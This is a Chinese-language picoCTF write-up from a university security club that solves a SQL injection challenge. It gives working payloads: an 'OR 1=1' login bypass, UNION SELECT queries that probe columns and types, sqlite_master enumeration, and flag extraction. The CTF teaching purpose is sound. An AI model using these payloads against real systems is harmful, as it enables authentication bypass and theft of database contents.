## 首頁(其他picoCTF writeup) https://hackmd.io/@sunfrancis12/ry_LLAgp3 作者: [台中教育大學 白帽社](https://hackmd.io/@ntcuhack/index) -sunfrancis12 ## more SQLi 這題算是SQLi比較進階的用法 我們進到網頁,先試著隨便登入看看: ![](https://hackmd.io/_uploads/S1io1WRT2.png) 可以看到他的查詢指令如下: ``` SELECT id FROM users WHERE password = 'sd' AND username = 'sd' ``` 從上述程式碼可知,這個登入介面是先從`password`開始驗證,因此我們要在`password`這一欄做SQL injection 我們在`password`輸入以下內容: ``` 'OR 1=1 -- ``` 登入成功 ![](https://hackmd.io/_uploads/ByDhxbCT2.png) ## 調查系統資訊 在開始SQLi前,我們必須要知道以下資訊: * SQL系統 * 資料欄位(Column)的數量 * 資料欄位的資料型態(TYPE) * 資料所在TABLE的名稱 * 資料所在TABLE的欄位名稱 知道了以上資訊後,我們才能找到我們要的資料,接下來開始將這些資料一一收集 --- 登入進來後,先試著隨便搜尋 ![](https://hackmd.io/_uploads/H1wlZWCp3.png) ![](https://hackmd.io/_uploads/Byzz-WCah.png) 發現搜尋欄只能搜尋`City`欄位的內容,而且印出來的資料總共三個欄位(Column),由於沒有報錯誤訊息,我們只能猜測網頁的SQL查詢的指令,我猜測網頁的SQL查詢指令大致會是這個樣子 ``` SELECT City,Address,Phone FROM {Unknown} WHRER City='{input}' ``` 我試著輸入以下指令: ``` Algiers ' UNION SELECT NULL,NULL,NULL -- ``` 由於前面我們推測的SQL查詢指令總共回傳3個欄位的資料,因此我們後面要`UNION`聯集的資料也必須是三個欄位 我們可以透過填入`NULL`的方式來當作一筆資料,藉此在不知道欄位(Column)的變數型態情況下來滿足查詢的語法 結果如下,可以看到他回傳了一個空的表格(顏色有點淺) ![](https://hackmd.io/_uploads/r1EaxMA63.png) 從他前面查詢的結果來看,我推斷`City`,`Address`,`Phone`都是屬於`TEXT`的變數型態,我輸入以下指令測試: ``` Algiers ' UNION SELECT 'asd','asd','asd' -- ``` 結果如下: ![](https://hackmd.io/_uploads/rk6-qx0p2.png) 在知道每一筆資料的變數型態後,我們可以從`schema`來找出我們要的資料了。 ### schema > [The Schema Table](https://www.sqlite.org/schematab.html) > `schema`是一個特殊的`TABLE`,存在於各個種類的SQL系統以及該系統所有的`DATABASE`中,裡面紀錄了`DATABASE`裡所有的TABLE名稱,TABLE狀態等...類似於系統狀態的概念 在SQLi的實際應用中,我們可以利用`schema`來找出`DATABASE`中所有的`TABLE` 常見的SQL系統`schema`使用方式如下: - Oracle `SELECT * FROM all_tables` - Microsoft `SELECT * FROM information_schema.tables` - PostgreSQL `SELECT * FROM information_schema.tables` - MySQL `SELECT * FROM information_schema.tables` 由於題目有提供系統使用的是SQLite,我在網路上找到[這篇](https://stackoverflow.com/questions/6460671/sqlite-schema-information-metadata),參考後寫下了以下指令 ``` Algiers ' UNION SELECT name, sql,'asd' FROM sqlite_master WHERE type='table' -- ``` 執行後結果如下,可以看到在`more_table`的TABLE中有個名叫`flag`的Column,資料型態為`TEXT` ![](https://hackmd.io/_uploads/B1YuYlCp2.png) --- 到這裡,我們已經有我們需要的資料了,來整理一下吧 * SQL系統 = SQLite * 欄位(Column) = 3個 * 資料型態(TYPE) = TEXT,TEXT,TEXT * 資料所在TABLE的名稱 = more_table * 資料所在TABLE的欄位名稱 = flag 我們可以寫出以下查詢指令 ``` Algiers ' UNION SELECT flag,NULL,NULL FROM more_table-- ``` flag出來囉 ![](https://hackmd.io/_uploads/SJ6McM06h.png)